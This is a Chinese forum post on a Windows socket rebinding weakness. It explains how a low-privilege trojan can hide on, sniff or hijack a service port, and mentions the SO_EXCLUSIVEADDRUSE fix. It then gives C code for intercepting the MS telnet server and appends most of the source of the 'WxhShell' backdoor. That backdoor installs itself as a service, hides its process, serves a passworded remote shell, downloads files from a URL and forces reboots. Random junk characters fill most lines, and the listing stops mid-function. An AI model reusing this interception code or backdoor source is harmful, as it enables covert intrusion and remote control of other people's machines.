社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18986阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~5lKL5w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !F=|*j  
`'z(--J}`  
  saddr.sin_family = AF_INET; \hjk$Gq  
s-QM 6*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >t 1_5  
QH@Q\ @,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fG:PdIJ7_  
Xz;et>UD*B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;X?Ah  
TYs+XJ'Xj  
  这意味着什么?意味着可以进行如下的攻击: ]jHh7> D  
BNAguAxWo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #E- VW  
<;2P._oZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7P3 <o!YA  
KzEuPJ?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Qv9*p('~A  
hgTM5*fD}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -@EBbM&  
zvek2\*rO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q'n(^tbL  
Wl^prs7}c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oUW )H  
+=|hMQ;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 71oFm1m{  
-X"5G  
  #include Z! C`f/h9  
  #include $nUd\B$.=  
  #include kx"hWG4  
  #include    " #mXsp-ut  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *u|lmALs  
  int main() ?noETHz)  
  { y3 ({(URU  
  WORD wVersionRequested; {0NsDi>(2  
  DWORD ret; 0EL\Hd  
  WSADATA wsaData; ({;P#qCX  
  BOOL val; 6vD]@AF  
  SOCKADDR_IN saddr; yt/20a  
  SOCKADDR_IN scaddr; 6%\7.h  
  int err; .ujs`9d_-  
  SOCKET s; \_*?R,$3Y,  
  SOCKET sc; S5:"_U  
  int caddsize; (PCimT=5  
  HANDLE mt; |<|28~#  
  DWORD tid;   n/9 LRZD|w  
  wVersionRequested = MAKEWORD( 2, 2 ); ^l]]qdNr  
  err = WSAStartup( wVersionRequested, &wsaData ); JcvHJ0X~a  
  if ( err != 0 ) { ]FY?_DGOA  
  printf("error!WSAStartup failed!\n"); jI*}y[o  
  return -1; &&(4n?   
  } %Y)PH-z  
  saddr.sin_family = AF_INET; )@8'k]Glw.  
   }<( "0jC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q7 %=`l  
?$"x^=te7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T..N*6<X  
  saddr.sin_port = htons(23); y1,?ZWTayr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RZ#alFL,  
  { JfZL?D{NM  
  printf("error!socket failed!\n"); C?GvTc  
  return -1; ^%K1R;  
  } ;,F-6RNj  
  val = TRUE; rh:s 7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TTA{#[=7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d&PE,$XC  
  { VYl_U?D  
  printf("error!setsockopt failed!\n"); bqw/O`*wfN  
  return -1; A&NC0K}G!  
  } D\45l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ifJv~asp   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J[j/aDdP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v7{ P].M  
I2t-D1X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nvO%  
  { EuKrYY]g  
  ret=GetLastError(); ;#5-.z  
  printf("error!bind failed!\n"); UA69_E{JCH  
  return -1; )#b}qc#`  
  } _/QKWk&j  
  listen(s,2); *([0"  
  while(1) boC>N   
  { h3UZ|B0=  
  caddsize = sizeof(scaddr); 'NQMZfz  
  //接受连接请求 p?Z+z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xWenKY,  
  if(sc!=INVALID_SOCKET) }AMYU>YE=  
  { t7C!}'g&'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |: 7EJkKZ  
  if(mt==NULL) 9}%~w(P  
  { U(S@1i(  
  printf("Thread Creat Failed!\n"); 7`uA  
  break; X <ba|(  
  } `'G),{ j  
  } ^G'yaaLXR  
  CloseHandle(mt); haEZp6Z  
  } *#prSS  
  closesocket(s); \28b_,i+  
  WSACleanup(); bBeFL~  
  return 0; mR" 2  
  }   M\Uc;:) H  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2HvTM8  
  { +H)!uLva B  
  SOCKET ss = (SOCKET)lpParam; V',m $   
  SOCKET sc; ^td!g1"<  
  unsigned char buf[4096]; jt'Y(u]2  
  SOCKADDR_IN saddr; S+_A <p  
  long num; 0] :*v?  
  DWORD val; J-eA,9J  
  DWORD ret; 9:CVN@E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~ X]"P4 u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o5*74Mv  
  saddr.sin_family = AF_INET; h|c:!VN@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @mQ/W Ys  
  saddr.sin_port = htons(23);  2#$}yP~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QN2*]+/h  
  { LhVLsa(-%  
  printf("error!socket failed!\n"); DiGUxnP  
  return -1; dFI.`pB  
  } m &3HFf  
  val = 100; .swgXiRvs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J#Ne:Aj_  
  { C$2o o@  
  ret = GetLastError(); }OX>(  
  return -1; G(7\<x:  
  } o3TBRn,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FM;;x(sg  
  { 0f=N3)  
  ret = GetLastError(); j-I6QUd  
  return -1; 4Rrw8Bw  
  } WoClTb>F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @ @3)D%h  
  { 8CnvvMf  
  printf("error!socket connect failed!\n"); 2t]! {L  
  closesocket(sc); mTXNHvv  
  closesocket(ss); v:J.d5  
  return -1; eBYaq!t k  
  } ^)C$8:@  
  while(1) 654jS!  
  { ; K)?:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I).^,%>Z)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wEo-a< (  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]mO+<{{4X  
  num = recv(ss,buf,4096,0);  jKb=Zkd  
  if(num>0) d9[6kQ]  
  send(sc,buf,num,0); 0()9vTY+  
  else if(num==0) Ro3I/NI>  
  break; HhQPgjZ/  
  num = recv(sc,buf,4096,0); x w?9W4<  
  if(num>0) Op$J"R  
  send(ss,buf,num,0); *]>OCGsr  
  else if(num==0) [hv3o0".  
  break; n_xQSVI0F  
  } #r:Kg&W2FO  
  closesocket(ss); :hl}Z n~jt  
  closesocket(sc); qRP8dH  
  return 0 ; 9TXm Z  
  } cVP49r}}v  
|$|nV^y  
8tFyNl`c  
========================================================== d~z<,_ r5c  
 7 zP  
下边附上一个代码,,WXhSHELL /xrq'|r?C  
/J9T=N  
========================================================== u UVV>An  
v\?\(Y55Y  
#include "stdafx.h" c;t(j'k`  
eed\0  
#include <stdio.h> ["#A-S  
#include <string.h> +DV6oh  
#include <windows.h> C)3$";$5)  
#include <winsock2.h> h}B# 'e  
#include <winsvc.h> 6 peM4X  
#include <urlmon.h> {'wU&!  
{If2[4!z  
#pragma comment (lib, "Ws2_32.lib") ^)0{42!]  
#pragma comment (lib, "urlmon.lib") {</$ObK  
)S;Xy`vO  
#define MAX_USER   100 // 最大客户端连接数 `w+9j-  
#define BUF_SOCK   200 // sock buffer 3sg)]3jm2  
#define KEY_BUFF   255 // 输入 buffer ?BWvF]p5/  
- 5-SlQu  
#define REBOOT     0   // 重启 3_1Io+uXk  
#define SHUTDOWN   1   // 关机 M:Y!k<p  
YT 03>!B  
#define DEF_PORT   5000 // 监听端口 ##+ 8GLQM  
EV7+u0uN&Q  
#define REG_LEN     16   // 注册表键长度 ,IVr4#w0=  
#define SVC_LEN     80   // NT服务名长度 +KwF U  
e[ k;SSs  
// 从dll定义API >0;"qT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XY t8vJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HI?~t| [y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JpHsQ8<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j BQqpFH9  
gZ=9Y:$  
// wxhshell配置信息 {ZIFj.2  
struct WSCFG { HOQ _T4  
  int ws_port;         // 监听端口 :~A1Ud4c  
  char ws_passstr[REG_LEN]; // 口令 hr}R,BR|  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ef*.}gcU  
  char ws_regname[REG_LEN]; // 注册表键名 sFz4^Kn  
  char ws_svcname[REG_LEN]; // 服务名 N n-6/]d#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Exs _LN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *1$~CC7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .LTFa.jxA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hpi_0lMkI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {R8P $  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZwrYs s  
7;s0m0<%~  
}; :)V0zHo&(  
hG3$ ]i9  
// default Wxhshell configuration ~i&< !O&  
struct WSCFG wscfg={DEF_PORT, ToXFMkwY  
    "xuhuanlingzhe", {8p?we3l1  
    1, PH4bM  
    "Wxhshell", Qs[EA_  
    "Wxhshell", om39;nk!}  
            "WxhShell Service", 4y}a,  
    "Wrsky Windows CmdShell Service", ^d $e^cU  
    "Please Input Your Password: ", U &k 3  
  1, Pc ?G^ Xol  
  "http://www.wrsky.com/wxhshell.exe", o?hw2-mH  
  "Wxhshell.exe" G.E~&{5xQ  
    }; Hf]}OvT>Z  
AA%g^PWpR  
// 消息定义模块 LYT<o FE-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xcRrI|?eC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jz8#88cY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j\L$dPZ  
char *msg_ws_ext="\n\rExit."; UHl/AM> !  
char *msg_ws_end="\n\rQuit."; t:@A)ip  
char *msg_ws_boot="\n\rReboot...";  >33b@)  
char *msg_ws_poff="\n\rShutdown..."; <^c0bY1  
char *msg_ws_down="\n\rSave to "; nk,Mo5iqV  
ZZJ"Ny.2  
char *msg_ws_err="\n\rErr!"; YZtA:>;p  
char *msg_ws_ok="\n\rOK!"; ZTz(NS EK  
x3F L/^S  
char ExeFile[MAX_PATH]; #K*q(ei,7h  
int nUser = 0; QS?9&+JM|  
HANDLE handles[MAX_USER]; mb6?$1j  
int OsIsNt; [goPmVe+  
|B WK"G  
SERVICE_STATUS       serviceStatus; H9m2Whq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?-v?SN#  
@y2Bq['  
// 函数声明 >oYwzK0&  
int Install(void); soK_l|z:J  
int Uninstall(void); tJfN6  
int DownloadFile(char *sURL, SOCKET wsh); =y/ Lbe}:  
int Boot(int flag); hpe s  
void HideProc(void); |N.q[>^R  
int GetOsVer(void); Bq =](<>>  
int Wxhshell(SOCKET wsl); 4~MUc!  
void TalkWithClient(void *cs); w}<I\*\`!  
int CmdShell(SOCKET sock); x(6.W"-S  
int StartFromService(void); A/6nV n  
int StartWxhshell(LPSTR lpCmdLine); m64\@ [  
]`U?<9~Ob  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z#67rh {  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7uH{UpslJ  
nE$ V<Co}  
// 数据结构和表定义 d"uM7PMs7x  
SERVICE_TABLE_ENTRY DispatchTable[] = \V\ET  
{ APm[)vw#f  
{wscfg.ws_svcname, NTServiceMain}, F9%VyQf  
{NULL, NULL} ?bi^h/ f  
}; l zkn B  
3nGK674;z  
// 自我安装 A^7Zy79  
int Install(void) Ev ,8?  
{ Ekp 0.c8:  
  char svExeFile[MAX_PATH]; D\~$6#B>>  
  HKEY key; o6%f%:&  
  strcpy(svExeFile,ExeFile); ZlXs7 &_  
{%}6 d~Bg  
// 如果是win9x系统,修改注册表设为自启动 ~OfKn1D  
if(!OsIsNt) { wWswuhq<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O@&I.d$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tELnq#<6  
  RegCloseKey(key); U.jMK{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I4ct``Di  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :dc J6  
  RegCloseKey(key); z1A-EeT  
  return 0; !.N=Y;@lY  
    } 5WG@ ;K%  
  } 780MSFV8  
} AMfu|%ZL  
else { hzVO.Q*  
} /FM#Xh  
// 如果是NT以上系统,安装为系统服务 %?wE/LU>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EU~'n-  
if (schSCManager!=0) @&> +`kgU-  
{ @3D%i#2o&[  
  SC_HANDLE schService = CreateService zOp"n\  
  ( S(xA}0]  
  schSCManager, i<![i5uAI  
  wscfg.ws_svcname, l8li@K  
  wscfg.ws_svcdisp, j* ja)  
  SERVICE_ALL_ACCESS, DzOJ{dF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c(JO;=,@9  
  SERVICE_AUTO_START, SX8%F:<.  
  SERVICE_ERROR_NORMAL, M" \y2   
  svExeFile, n-WvIy  
  NULL, B}T72!a  
  NULL, l/M+JT~R  
  NULL, g}h0J%s  
  NULL, wpmtv325  
  NULL |Q+v6r(<zZ  
  ); yU`IyaazZ  
  if (schService!=0) aa!c>"g6  
  { N.rB-  
  CloseServiceHandle(schService); Jc6 D^=  
  CloseServiceHandle(schSCManager); l)bUHh5[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0$ EJ4  
  strcat(svExeFile,wscfg.ws_svcname); w| # 79,&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L2tmo-]nw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %QkvBg*  
  RegCloseKey(key); ?os0JQVB  
  return 0; b6VAyTa  
    } 1Qkuxw  
  } 3g?T,| 2K  
  CloseServiceHandle(schSCManager); Q5ao2-\   
} 4 .qjTR  
} VW/1[?HG5  
>X,6  
return 1; IHfqW?  
} AS ul  
JJO"\^,;~  
// 自我卸载 nV1, ):kh  
int Uninstall(void) T[J_/DE@  
{ %J'_c|EQM  
  HKEY key; zE{zX@  
!<'R%<E3 Q  
if(!OsIsNt) { z""(M4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IS~oyFS  
  RegDeleteValue(key,wscfg.ws_regname); W[ DB !ue  
  RegCloseKey(key); Ja2.1v|r .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nwYeOa/t  
  RegDeleteValue(key,wscfg.ws_regname); ,kI1"@Tu  
  RegCloseKey(key); wVB8PO8  
  return 0; iBt5aUt  
  } Z m>69gl  
} a!.8^:B&  
} F.9|$g*ip  
else { kM@,^`&  
P nDZi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FUqiP(A  
if (schSCManager!=0) HC$cK+,ZU}  
{ C2T,1=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )c_ll;%  
  if (schService!=0) ^ TS\x/P  
  { *G38N]|u6  
  if(DeleteService(schService)!=0) { JJr<cZ4]  
  CloseServiceHandle(schService); qK pU.rP  
  CloseServiceHandle(schSCManager); oj,  
  return 0; $6[]c)(  
  } X;0@41t'  
  CloseServiceHandle(schService); /:)4tIV  
  } :4dili4|/  
  CloseServiceHandle(schSCManager); oc3/ IWII  
} ]0O$2j_7  
} ZBWe,Xvq  
yO)Qg* r  
return 1; -_dgd:or  
} ;DOz92X94  
TfOZ>uR"g  
// 从指定url下载文件  qn .  
int DownloadFile(char *sURL, SOCKET wsh) SE1 tlP  
{ c4|.!AQ>  
  HRESULT hr; rXMv&]Ag  
char seps[]= "/"; m[XN,IE#u  
char *token; rv[\2@}  
char *file; wKN9HT  
char myURL[MAX_PATH]; 1*"Uc!7.%  
char myFILE[MAX_PATH]; ueOvBFgZ  
&+sN= J.x  
strcpy(myURL,sURL); =G`m7!Q)  
  token=strtok(myURL,seps); qi$8GX=~r  
  while(token!=NULL) r_",E=e  
  { ~*qGH  
    file=token; E*$:~w  
  token=strtok(NULL,seps); spf}{o  
  } R.7" ZG  
<5 +?&i  
GetCurrentDirectory(MAX_PATH,myFILE); {>qCZ#E5WO  
strcat(myFILE, "\\");  i.]}ooI  
strcat(myFILE, file); &N#)(rQ1  
  send(wsh,myFILE,strlen(myFILE),0); ! ^W|;bq  
send(wsh,"...",3,0); }`X$ '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b]~M$y60q  
  if(hr==S_OK) Hcpw [%(  
return 0; K|&y?w  
else TFhj]r^ {  
return 1; UTz;Sw?~hw  
#r C% \  
} K{c^.&6D  
2;3q](d   
// 系统电源模块 =[$*PTe  
int Boot(int flag) JmK+#o  
{ z)0Fk  
  HANDLE hToken; LImD]e`  
  TOKEN_PRIVILEGES tkp; sdY6_HtE  
!dGgLU_  
  if(OsIsNt) { 9D bp`%j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6\`,blkX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c:bB4ch}  
    tkp.PrivilegeCount = 1; (?Yz#Yf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LTF%b AQ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >/>a++19  
if(flag==REBOOT) { hN.#ui5 $  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W^x[ma z  
  return 0; @1pdyKK  
} =F`h2A;a  
else { &HE8O}<>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FR&RIFy  
  return 0; REw3>/=  
} >TE&myZ?*  
  } 1Dbe0u  
  else { t :_7 O7  
if(flag==REBOOT) { `yhL11 ]~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .C1^QY-wL  
  return 0; F'K{=  
} *6h.#$\  
else { </fnbyGR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w-KtxG(  
  return 0; QM IQy  
} _CgD7d  
} FvkKM+?F  
XDn$=`2  
return 1; YpWu\oP  
} c/s'&gG33z  
rScmUt  
// win9x进程隐藏模块 5rc<ibGh  
void HideProc(void) {BJxRH"&6*  
{ ELm#  
hZpFI?lqc\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 33; yt d  
  if ( hKernel != NULL ) `1P &  
  { ~6OdPD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NENbr$,G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {\%x{  
    FreeLibrary(hKernel); GVg0)}  
  } a+X X?uN{  
a\zbi$S  
return; FGZOn5U6'  
} *33Zt+  
m^ILcp!  
// 获取操作系统版本 i^n&K:6  
int GetOsVer(void) {{O1C ~  
{ y.>r>o"0  
  OSVERSIONINFO winfo; {U4%aoBd8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h7*m+/O  
  GetVersionEx(&winfo); $ }&6p6|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J sH9IK:  
  return 1; JeO(sj$e  
  else 6L2.88 i  
  return 0; ^v,^.>P  
} rR7}SEa  
m1(rAr1  
// 客户端句柄模块 dkXK0k  
int Wxhshell(SOCKET wsl) s^ 6S{XJ  
{ +>s[w{Svy  
  SOCKET wsh; F`3I~(  
  struct sockaddr_in client; rUj]6j=e  
  DWORD myID; y :457R2F  
UE(%R1Py  
  while(nUser<MAX_USER) 9@!`,Co  
{ b[/-lNrc  
  int nSize=sizeof(client); 'a0$74fz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z-()7WY  
  if(wsh==INVALID_SOCKET) return 1; k: c)|2  
!7_Q_h',  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5T,`j=\  
if(handles[nUser]==0) l9-(ofY*J  
  closesocket(wsh); SL*B `P~{  
else #"TTI vd0  
  nUser++; En[cg  
  } *t~( _j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E*CY/F I_  
[Y5B$7|s<  
  return 0; D@!#79:)  
} 0"ZRJl<)[I  
W# ev  
// 关闭 socket VPf=LSxJe  
void CloseIt(SOCKET wsh) .i&]VGv  
{ "6.kZ$`%  
closesocket(wsh); &u.t5m7(  
nUser--; ]A'E61t<n  
ExitThread(0); B[8  
}  snX5mD  
z0c_&@uj*  
// 客户端请求句柄 8)T.[AP  
void TalkWithClient(void *cs) ;Lz96R@}  
{ @c5TSHSL.  
8E|S`I  
  SOCKET wsh=(SOCKET)cs; ,%Dn}mWu  
  char pwd[SVC_LEN]; G !wFG-Y}  
  char cmd[KEY_BUFF]; @q|I$'K]x  
char chr[1]; b^rPw@  
int i,j; _%Jqyc"-  
0p8(Q  
  while (nUser < MAX_USER) { u3kZOsG  
hv8V=Z'Q  
if(wscfg.ws_passstr) { - wCfwC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dZ_Hj X7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bz,C%HFA  
  //ZeroMemory(pwd,KEY_BUFF); !}<Y^="  
      i=0; FL- sXg  
  while(i<SVC_LEN) { D/{hLp{  
o AvX(  
  // 设置超时 O TSbhI'v  
  fd_set FdRead; .I<#i9Le  
  struct timeval TimeOut; I)T]}et  
  FD_ZERO(&FdRead); Ub0g{   
  FD_SET(wsh,&FdRead); *GD?d2.6j  
  TimeOut.tv_sec=8; aO6w :IO  
  TimeOut.tv_usec=0; {4\(HrGNk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .t$~>e .  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NZCPmst  
bfhap(F~(e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~:v" TuuK  
  pwd=chr[0];  {|a=  
  if(chr[0]==0xd || chr[0]==0xa) { HOBM?|37CU  
  pwd=0; EN'}+E 8  
  break; qE!.C}L +  
  } ,~>A>J  
  i++; !3E33  
    } }GRZCX>  
7:<co  
  // 如果是非法用户,关闭 socket tWT@%(2~0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); } U\n:@:2B  
} CWHTDao  
)w=ehjV^m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^1nQDd*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?%d]iTZE  
?%(:  
while(1) { <XDYnWz  
EPkmBru ^  
  ZeroMemory(cmd,KEY_BUFF); s8Bbe t  
My vp PW  
      // 自动支持客户端 telnet标准   krnxM7y  
  j=0; "Y-_83  
  while(j<KEY_BUFF) { HN?NY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #0GvL=}k  
  cmd[j]=chr[0]; * `1W})  
  if(chr[0]==0xa || chr[0]==0xd) { /N>f#:}  
  cmd[j]=0; o-H\vtOjE  
  break; INt]OPD  
  } +`'=K ;{U  
  j++; 2 ,RO  
    } `v) :|Q  
B~xT:r  
  // 下载文件 Y)lYEhF  
  if(strstr(cmd,"http://")) { l3[2b Qx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U|Z Yoc+](  
  if(DownloadFile(cmd,wsh)) rY yB"|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }RvinF:5  
  else % s&l^&ux  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l/ufu[x!a  
  } ,sF49C D  
  else { OpWTw&B"+  
\%[sv@P9s  
    switch(cmd[0]) { dPvRbwH<  
  M5\$+Tu  
  // 帮助 'ONCz  
  case '?': { _ x8gEK8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g4z*6L,u  
    break; >JVdL\3  
  } ~$w9L998+  
  // 安装 zp.-=)D4e  
  case 'i': { # O<,  
    if(Install()) ; D'6sd"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >x'R7z23  
    else l|{q8i#4V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X3mHg5zt  
    break; csK;GSp}  
    } P]cC2L@Vbi  
  // 卸载 bSJ@ 5qS  
  case 'r': { ,#?iu?i/  
    if(Uninstall()) [0>I6Jl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tew?e&eO  
    else -}:; EGUtd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V)<Jj  
    break; p#;I4d G  
    } :}0>IPW-V  
  // 显示 wxhshell 所在路径 UmEc")3  
  case 'p': { b;xn0sDn#  
    char svExeFile[MAX_PATH]; j3=%J5<  
    strcpy(svExeFile,"\n\r"); dBRK6hFC  
      strcat(svExeFile,ExeFile); Bl$Hg,in-  
        send(wsh,svExeFile,strlen(svExeFile),0); "($"T v2  
    break; -HQ(t  
    } hlKM4JT\  
  // 重启 @{V bu  
  case 'b': { ~S\y)l\wZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y) .dw(  
    if(Boot(REBOOT)) ag02=}Q'r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2e_m>I  
    else { nY M2Vxi0+  
    closesocket(wsh); VPi*9(LS  
    ExitThread(0); 0Ba*"/U]t~  
    } SB x<-^  
    break; ks19e>'5Q  
    } (pv6V2i  
  // 关机 \0fS;Q^{j  
  case 'd': { 15J t @{<r  
